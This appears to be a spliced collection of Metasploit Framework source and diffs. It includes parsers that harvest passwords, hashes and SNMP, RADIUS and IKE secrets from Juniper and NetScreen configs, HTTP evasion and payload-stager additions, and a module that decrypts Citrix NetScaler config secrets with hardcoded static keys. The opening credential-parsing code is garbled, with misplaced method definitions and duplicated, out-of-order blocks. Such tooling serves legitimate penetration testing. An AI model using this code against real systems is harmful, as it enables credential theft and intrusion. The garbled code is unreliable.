print_good("SNMP community #{snmp_community} with permissions #{snmp_permissions}")
next unless framework.db.active
cred = credential_data.dup
if snmp_permissions.downcase == 'read-write'
cred[:access_level] = 'RW'
else
cred[:access_level] = 'RO'
end
cred[:protocol] = 'udp'
cred[:port] = 161
cred[:service_name] = 'snmp'
cred[:private_data] = snmp_community
cred[:private_type] = :password
create_credential_and_login(cred)
end
# ppp
# Example lines:
# setppp profile "ISP" auth type pap
# setppp profile "ISP" auth local-name "username"
# setppp profile "ISP" auth secret "fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA=="
config.scan(/setppp profile "(?<ppp_name>[a-z0-9]+)" auth type (?<ppp_authtype>[a-z]+).+setppp profile "\k<ppp_name>" auth local-name "(?<ppp_username>[a-z0-9]+)".+setppp profile "\k<ppp_name>" auth secret "(?<ppp_hash>.+)"/mi).each do |result|
ppp_name = result[0].strip
ppp_username = result[2].strip
ppp_hash = result[3].strip
ppp_authtype = result[1].strip
print_good("PPTP Profile #{ppp_name} with username #{ppp_username} hash #{ppp_hash} via #{ppp_authtype}")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = ppp_username
cred[:private_data] = ppp_hash
cred[:service_name] = 'pptp'
cred[:port] = 1723
create_credential_and_login(cred)
end
# ike
# Example lines:
# set ike gateway "To-Cisco" address 2.2.2.1 Main outgoing-interface "ethernet1" preshare "netscreen" proposal "pre-g2-des-sha"
config.scan(/set ike gateway "(?<ike_name>.+)" address (?<ike_address>[0-9.]+) Main outgoing-interface ".+" preshare "(?<ike_password>.+)" proposal "(?<ike_method>.+)"/i).each do |result|
ike_name = result[0].strip
ike_address = result[1].strip
ike_password = result[2].strip
ike_method = result[3].strip
print_good("IKE Profile #{ike_name} to #{ike_address} with password #{ike_password} via #{ike_method}")
next unless framework.db.active
cred = credential_data.dup
cred[:private_data] = ike_password
cred[:private_type] = :password
cred[:service_name] = 'ike'
cred[:port] = 500
cred[:address] = ike_address
cred[:protocol] = 'udp'
create_credential_and_login(cred)
end
end
# access privileges https://kb.juniper.net/InfoCenter/index?page=content&id=KB10902
config.scan(/user (?<user_name>[^\s]+) {[\s]+ uid (?<user_uid>[\d]+);[\s]+ class (?<user_permission>super-user|operator|read-only|unauthorized);[\s]+ authentication {[\s]+encrypted-password "(?<user_hash>[^\s]+)";/i).each do |result|
user_name = result[0].strip
user_uid = result[1].strip
user_permission = result[2].strip
user_hash = result[3].strip
jtr_format = identify_hash user_hash
def juniper_junos_config_eater(thost, tport, config)
report_host({
host: thost,
os_name: 'Juniper JunOS'
})
print_good("User #{user_uid} named #{user_name} in group #{user_permission} found with password hash #{user_hash}.")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = user_name
cred[:jtr_format] = jtr_format
cred[:private_data] = user_hash
create_credential_and_login(cred)
end
# https://supportf5.com/csp/article/K6449 special characters allowed in snmp community strings
config.scan(/community "?(?<snmp_community>[\w\d\s\(\)\.\*\/-:_\?=@\,&%\$]+)"? {(\s+view [\w\-]+;)?\s+authorization read-(?<snmp_permission>only|write)/i).each do |result|
snmp_community = result[0].strip
snmp_permissions = result[1].strip
print_good("SNMP community #{snmp_community} with permissions read-#{snmp_permissions}")
next unless framework.db.active
cred = credential_data.dup
if snmp_permissions.downcase == 'write'
cred[:access_level] = 'RW'
else
cred[:access_level] = 'RO'
if framework.db.active
credential_data = {
address: thost,
port: tport,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
private_type: :nonreplayable_hash,
service_name: '',
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED
}
end
cred[:protocol] = 'udp'
cred[:port] = 161
cred[:private_data] = snmp_community
cred[:private_type] = :password
cred[:service_name] = 'snmp'
create_credential_and_login(cred)
end
config.scan(/radius-server \{[\s]+(?<radius_server>[0-9\.]{7,15}) secret "(?<radius_hash>[^"]+)";/i).each do |result|
radius_hash = result[1].strip
radius_server = result[0].strip
print_good("radius server #{radius_server} password hash: #{radius_hash}")
next unless framework.db.active
cred = credential_data.dup
cred[:address] = radius_server
cred[:port] = 1812
cred[:protocol] = 'udp'
cred[:private_data] = radius_hash
cred[:service_name] = 'radius'
create_credential_and_login(cred)
end
store_loot('juniper.junos.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper JunOS Configuration')
config.scan(/pap {[\s]+local-name "(?<ppp_username>.+)";[\s]+local-password "(?<ppp_hash>[^"]+)";/i).each do |result|
ppp_username = result[0].strip
ppp_hash = result[1].strip
print_good("PPTP username #{ppp_username} hash #{ppp_hash} via PAP")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = ppp_username
cred[:private_data] = ppp_hash
cred[:service_name] = 'pptp'
cred[:port] = 1723
create_credential_and_login(cred)
end
# we'll take out the pretty format so its easier to regex
config = config.split("\n").join('')
# Example:
# system {
# root-authentication {
# encrypted-password "$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E."; ## SECRET-DATA
# }
# }
if /root-authentication\s+\{\s+encrypted-password "(?<root_hash>[^"]+)";/i =~ config
root_hash = root_hash.strip
jtr_format = identify_hash root_hash
print_good("root password hash: #{root_hash}")
if framework.db.active
cred = credential_data.dup
cred[:username] = 'root'
cred[:jtr_format] = jtr_format
cred[:private_data] = root_hash
create_credential_and_login(cred)
end
end
# access privileges https://kb.juniper.net/InfoCenter/index?page=content&id=KB10902
config.scan(/user (?<user_name>[^\s]+) {(\s+ full-name (?<fullname>[^;]+);)?\s+ uid (?<user_uid>\d+);\s+ class (?<user_permission>super-user|operator|read-only|unauthorized|[^;]+);\s+ authentication {\s+encrypted-password "(?<user_hash>[^\s]+)";/i).each do |result|
user_name = result[0].strip
user_uid = result[2].strip
user_permission = result[3].strip
user_hash = result[4].strip
jtr_format = identify_hash user_hash
print_good("User #{user_uid} named #{user_name} in group #{user_permission} found with password hash #{user_hash}.")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = user_name
cred[:jtr_format] = jtr_format
cred[:private_data] = user_hash
create_credential_and_login(cred)
end
# https://supportf5.com/csp/article/K6449 special characters allowed in snmp community strings
config.scan(%r{community "?(?<snmp_community>[\w\d\s().*/-:_?=@,&%$+!]+)"? \{(\s+view [\w\-]+;)?\s+authorization read-(?<snmp_permission>only|write)}i).each do |result|
snmp_community = result[0].strip
snmp_permissions = result[1].strip
print_good("SNMP community #{snmp_community} with permissions read-#{snmp_permissions}")
next unless framework.db.active
cred = credential_data.dup
if snmp_permissions.downcase == 'write'
cred[:access_level] = 'RW'
else
cred[:access_level] = 'RO'
end
cred[:protocol] = 'udp'
cred[:port] = 161
cred[:private_data] = snmp_community
cred[:private_type] = :password
cred[:service_name] = 'snmp'
create_credential_and_login(cred)
end
# radius-server
config.scan(/\s*radius-server \{([^}]+)\}/i).each do |result_block|
result_block[0].strip.scan(/(?<radius_server>[0-9.]{7,15}) secret "(?<radius_hash>[^"]+)";/i).each do |result|
radius_hash = result[1].strip
radius_server = result[0].strip
print_good("radius server #{radius_server} password hash: #{radius_hash}")
next unless framework.db.active
cred = credential_data.dup
cred[:address] = radius_server
cred[:port] = 1812
cred[:protocol] = 'udp'
cred[:private_data] = radius_hash
cred[:service_name] = 'radius'
create_credential_and_login(cred)
end
end
# tacplus-server
config.scan(/\s*tacplus-server \{([^}]+)\}/i).each do |result_block|
result_block[0].strip.scan(/(?<tacplus_server>[0-9.]{7,15}) secret "(?<hash>[^"]+)";/i).each do |result|
ip = result[0].strip
hash = result[1].strip
jtr_format = identify_hash hash
print_good("tacplus server #{ip} with password hash #{hash}")
next unless framework.db.active
cred = credential_data.dup
cred[:jtr_format] = jtr_format
cred[:private_data] = hash
create_credential_and_login(cred)
end
end
config.scan(/pap {\s+local-name "(?<ppp_username>.+)";\s+local-password "(?<ppp_hash>[^"]+)";/i).each do |result|
ppp_username = result[0].strip
ppp_hash = result[1].strip
print_good("PPTP username #{ppp_username} hash #{ppp_hash} via PAP")
next unless framework.db.active
cred = credential_data.dup
cred[:username] = ppp_username
cred[:private_data] = ppp_hash
cred[:service_name] = 'pptp'
cred[:port] = 1723
create_credential_and_login(cred)
end
end
end
end
end
+5 -2
View File
@@ -26,7 +26,8 @@ module Exploit::CmdStager
:curl => Rex::Exploitation::CmdStagerCurl,
:fetch => Rex::Exploitation::CmdStagerFetch,
:lwprequest => Rex::Exploitation::CmdStagerLwpRequest,
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest,
:ftp_http => Rex::Exploitation::CmdStagerFtpHttp,
}
# Constant for decoders - used when checking the default flavor decoder.
@@ -55,7 +56,7 @@ module Exploit::CmdStager
flavors = STAGERS.keys if flavors.empty?
flavors.unshift('auto')
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest}]
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
register_options(
[
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),
@@ -67,6 +68,7 @@ module Exploit::CmdStager
OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']),
OptString.new('CMDSTAGER::TEMP', [false, 'Writable directory for staged files']),
OptString.new('CMDSTAGER::URIPATH', [false, 'Payload URI path for supported stagers']),
OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false])
], self.class)
end
@@ -147,6 +149,7 @@ module Exploit::CmdStager
if stager_instance.respond_to?(:http?) && stager_instance.http?
opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl)
opts['Path'] = datastore['CMDSTAGER::URIPATH'] unless datastore['CMDSTAGER::URIPATH'].blank?
opts[:payload_uri] = start_service(opts)
end
@@ -74,6 +74,8 @@ module Exploit::Remote::HttpClient
OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]),
OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]),
OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]),
OptBool.new('HTTP::shuffle_get_params', [false, 'Randomize order of GET parameters', false]),
OptBool.new('HTTP::shuffle_post_params', [false, 'Randomize order of POST parameters', false]),
OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]),
OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]),
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false])
@@ -192,6 +194,8 @@ module Exploit::Remote::HttpClient
'pad_get_params_count' => datastore['HTTP::pad_get_params_count'],
'pad_post_params' => datastore['HTTP::pad_post_params'],
'pad_post_params_count' => datastore['HTTP::pad_post_params_count'],
'shuffle_get_params' => datastore['HTTP::shuffle_get_params'],
'shuffle_post_params' => datastore['HTTP::shuffle_post_params'],
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
'header_folding' => datastore['HTTP::header_folding'],
@@ -293,6 +297,8 @@ module Exploit::Remote::HttpClient
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
evade_pad_post_params: datastore['HTTP::pad_post_params'],
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
evade_shuffle_get_params: datastore['HTTP::shuffle_get_params'],
evade_shuffle_post_params: datastore['HTTP::shuffle_post_params'],
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
evade_header_folding: datastore['HTTP::header_folding'],
+4 -346
View File
@@ -1,4 +1,7 @@
# -*- coding: binary -*-
require 'metasploit/framework/mssql/base'
module Msf
###
@@ -12,32 +15,7 @@ module Exploit::Remote::MSSQL
include Exploit::Remote::Udp
include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
include Metasploit::Framework::MSSQL::Base
#
# Creates an instance of a MSSQL exploit module.
@@ -225,52 +203,6 @@ module Exploit::Remote::MSSQL
print_status("Be sure to cleanup #{var_payload}.exe...")
end
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if(head[1, 1] == "\x01" or not check_status )
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
#
#this method send a prelogin packet and check if encryption is off
#
@@ -641,7 +573,6 @@ module Exploit::Remote::MSSQL
info
end
#
# Nicely print the results of a SQL query
#
@@ -675,278 +606,5 @@ module Exploit::Remote::MSSQL
print_line(tbl.to_s)
end
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if col[:msg_len] && col[:msg_len] > 0
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if len && len > 0
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if len && len > 0
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "environment change" TDS token
#
def mssql_parse_env(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
type = buff.slice!(0, 1).unpack('C')[0]
nval = ''
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
oval = ''
olen = buff.slice!(0, 1).unpack('C')[0] || 0
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
info[:envs] ||= []
info[:envs] << { :type => type, :old => oval, :new => nval }
info
end
#
# Parse an "information" TDS token
#
def mssql_parse_info(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:infos] ||= []
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse a "login ack" TDS token
#
def mssql_parse_login_ack(data, info)
len = data.slice!(0, 2).unpack('v')[0]
_buff = data.slice!(0, len)
info[:login_ack] = true
end
end
end
+5 -1
View File
@@ -145,8 +145,12 @@ module Msf
def default_version_string
require 'rex/proto/ssh/connection'
Rex::Proto::Ssh::Connection.default_options['local_version']
rescue OpenSSL::OpenSSLError => e
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
elog(e)
'SSH-2.0-OpenSSH_5.3p1'
rescue LoadError => e
print_error("This handler requires PTY access not available on all platforms.")
print_error('ReverseSSH handler did not load as PTY access is not available on all platforms.')
elog(e)
'SSH-2.0-OpenSSH_5.3p1'
end
+4 -4
View File
@@ -79,7 +79,7 @@ module Msf::Post::Windows::Runas
0, # hStdInput
0, # hStdOutput
0 # hStdError
].pack('VVVVVVVVVVVVvvVVVV')
].pack(session.arch == ARCH_X64 ? 'QQQQVVVVVVVVvvQQQQ' : 'VVVVVVVVVVVVvvVVVV')
end
#
@@ -113,7 +113,7 @@ module Msf::Post::Windows::Runas
nil,
nil,
startup_info,
16)
session.arch == ARCH_X64 ? 24 : 16)
if create_process['return']
pi = parse_process_information(create_process['lpProcessInformation'])
print_good("Process started successfully, PID: #{pi[:process_id]}")
@@ -173,7 +173,7 @@ module Msf::Post::Windows::Runas
nil,
nil,
startup_info,
16)
session.arch == ARCH_X64 ? 24 : 16)
if create_process['return']
begin
@@ -210,7 +210,7 @@ module Msf::Post::Windows::Runas
fail ArgumentError, 'process_information is nil' if process_information.nil?
fail ArgumentError, 'process_information is empty string' if process_information.empty?
pi = process_information.unpack('VVVV')
pi = process_information.unpack(session.arch == ARCH_X64 ? 'Q<Q<VV' : 'VVVV')
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
end
+1
View File
@@ -258,6 +258,7 @@ module Msf
str = <<~VERSIONS
Framework: #{framework.version}
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{Msf::Config.install_root}
Session Type: #{db_connection_info(framework)}
Install Method: #{installation_method}
@@ -63,15 +63,15 @@ class Process < Rex::Post::Process
perms = PROCESS_ALL
end
if (perms & PROCESS_READ)
if (perms & PROCESS_READ) > 0
real_perms |= PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION
end
if (perms & PROCESS_WRITE)
if (perms & PROCESS_WRITE) > 0
real_perms |= PROCESS_SET_SESSIONID | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE | PROCESS_SET_QUOTA | PROCESS_SET_INFORMATION
end
if (perms & PROCESS_EXECUTE)
if (perms & PROCESS_EXECUTE) > 0
real_perms |= PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_CREATE_PROCESS | PROCESS_SUSPEND_RESUME
end
+2
View File
@@ -63,6 +63,8 @@ class Client
'pad_get_params_count' => 'integer',
'pad_post_params' => 'bool',
'pad_post_params_count' => 'integer',
'shuffle_get_params' => 'bool',
'shuffle_post_params' => 'bool',
'uri_fake_end' => 'bool',
'uri_fake_params_start' => 'bool',
'header_folding' => 'bool',
+6
View File
@@ -66,6 +66,8 @@ class ClientRequest
'pad_post_params_count' => 8, # integer
'uri_fake_end' => false, # bool
'uri_fake_params_start' => false, # bool
'shuffle_get_params' => false, # bool
'shuffle_post_params' => false, # bool
'header_folding' => false, # bool
'chunked_size' => 0, # integer
@@ -114,6 +116,8 @@ class ClientRequest
end
end
if opts.key?("vars_get") && opts['vars_get']
opts['vars_get'] = Hash[opts['vars_get'].to_a.shuffle] if (opts['shuffle_get_params'])
opts['vars_get'].each_pair do |var,val|
var = var.to_s
@@ -139,6 +143,8 @@ class ClientRequest
end
end
opts['vars_post'] = Hash[opts['vars_post'].to_a.shuffle] if (opts['shuffle_post_params'])
opts['vars_post'].each_pair do |var,val|
var = var.to_s
unless val.is_a?(Array)
@@ -0,0 +1,254 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Decrypt Citrix NetScaler Config Secrets',
'Description' => %q{
This module takes a Citrix NetScaler ns.conf configuration file as
input and extracts secrets that have been stored with reversible
encryption. The module supports legacy NetScaler encryption (RC4)
as well as the newer AES-256-ECB and AES-256-CBC encryption types.
It is also possible to decrypt secrets protected by the Key
Encryption Key (KEK) method, provided the key fragment files F1.key
and F2.key are provided.
},
'Author' => 'npm[at]cesium137.io',
'Platform' => [ 'bsd' ],
'DisclosureDate' => '2022-05-19',
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://dozer.nz/posts/citrix-decrypt/'],
['URL', 'https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/']
],
'Actions' => [
[
'Dump',
{
'Description' => 'Dump secrets from NetScaler configuration'
}
]
],
'DefaultAction' => 'Dump',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptPath.new('NS_CONF', [ true, 'Path to a NetScaler configuration file (ns.conf)' ]),
OptPath.new('NS_KEK_F1', [ false, 'Path to NetScaler KEK fragment file F1.key' ]),
OptPath.new('NS_KEK_F2', [ false, 'Path to NetScaler KEK fragment file F2.key' ]),
OptString.new('NS_IP', [ false, '(Optional) IPv4 address to attach to loot' ])
])
end
def loot_host
datastore['NS_IP'] || '127.0.0.1'
end
def ns_conf
datastore['NS_CONF']
end
def ns_kek_f1
datastore['NS_KEK_F1']
end
def ns_kek_f2
datastore['NS_KEK_F2']
end
# ns.conf elements that contain potential secrets, update as needed
# k = parameter that has the secret (-key, -password, [...])
# v = start of config line that potentially has a secret
def ns_secret
{
'key' => ['add ssl certKey'],
'keyValue' => ['set ns encryptionParams'],
'radKey' => ['add authentication radiusAction'],
'ldapBindDnPassword' => ['add authentication ldapAction'],
'password' => ['set ns rpcNode', 'add lb monitor', 'add aaa user'],
'passPhrase' => ['add authentication dfaAction']
}
end
# Statically defined in libnscli90.so, modern appliances keep these in /nsconfig/.skf
def ns90_rc4key
'2286da6ca015bcd9b7259753c2a5fbc2'.scan(/../).map(&:hex).pack('C*')
end
def ns90_aeskey
'351cbe38f041320f22d990ad8365889c7de2fcccae5a1a8707e21e4adccd4ad9'.scan(/../).map(&:hex).pack('C*')
end
def run
if ns_kek_f1 && ns_kek_f2
print_status('Building NetScaler KEK from key fragments ...')
build_ns_kek
end
parse_ns_config
end
def build_ns_kek
unless File.size(ns_kek_f1) == 256 && File.size(ns_kek_f2) == 256
print_error('KEK files must be 256 bytes in size')
return false
end
f1_hex = File.binread(ns_kek_f1)
f2_hex = File.binread(ns_kek_f2)
unless f1_hex.match?(/^[0-9a-f]+$/i)
print_error('Provided F1.key is not valid hexidecimal data')
raise Msf::OptionValidateError, ['NS_KEK_F1']
end
unless f2_hex.match?(/^[0-9a-f]+$/i)
print_error('Provided F2.key is not valid hexidecimal data')
raise Msf::OptionValidateError, ['NS_KEK_F2']
end
f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*')
f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*')
f1_key_hex = f1_key.unpack('H*').first
f2_key_hex = f2_key.unpack('H*').first
print_good('NS KEK F1')
print_good("\t HEX: #{f1_key_hex}")
print_good('NS KEK F2')
print_good("\t HEX: #{f2_key_hex}")
@ns_kek_key = OpenSSL::HMAC.hexdigest('SHA256', f2_key, f1_key).scan(/../).map(&:hex).pack('C*')
@ns_kek_key_hex = @ns_kek_key.unpack('H*').first
print_good('Assembled NS KEK AES key')
print_good("\t HEX: #{@ns_kek_key_hex}\n")
true
end
def parse_ns_config
ns_config_data = File.binread(ns_conf)
ns_secret.each do |secret|
element = secret[0]
secret[1].each do |keyword|
lines = ns_config_data.to_enum(:scan, /^#{keyword}.*/).map { Regexp.last_match }
lines.each do |line|
is_kek = false
config_entry = line.to_s
ciphertext = config_entry.to_enum(:scan, /#?([\da-f]{2})([\da-f]{2})([\da-f]{2})(\w+)/).map { Regexp.last_match }
unless ciphertext.first
ciphertext = config_entry.to_enum(:scan, /(-passcrypt.*(\s*))/).map { Regexp.last_match }
next unless ciphertext.first
end
enc_type = config_entry.match(/encryptmethod (\w+)/).to_s.split(' ')[1].to_s
if config_entry.match?(/-kek/)
is_kek = true
end
print_status("Config line:\n#{config_entry}")
if is_kek && !@ns_kek_key
print_warning('Entry was encrypted with KEK but no KEK fragement files provided, decryption will not be possible')
next
end
username = parse_username_from_config(config_entry)
ciphertext.each do |encrypted|
encrypted_entry = encrypted.to_s
if encrypted_entry =~ /^[0-9a-f]+$/i
ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*')
else
ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"')
# TODO: Implement -passcrypt functionality
# ciphertext_bytes = Base64.strict_decode64(ciphertext_b64)
print_warning('Not decrypting passcrypt entry:')
print_warning("Ciphertext: #{ciphertext_b64}")
next
end
case enc_type
when 'ENCMTHD_2' # aes-256-ecb
if is_kek
aeskey = @ns_kek_key
else
aeskey = ns90_aeskey
end
plaintext = ns_aes_ecb_decrypt(aeskey, ciphertext_bytes)
when 'ENCMTHD_3' # aes-256-cbc
if is_kek
aeskey = @ns_kek_key
else
aeskey = ns90_aeskey
end
plaintext = ns_aes_cbc_decrypt(aeskey, ciphertext_bytes)
else # rc4 (legacy)
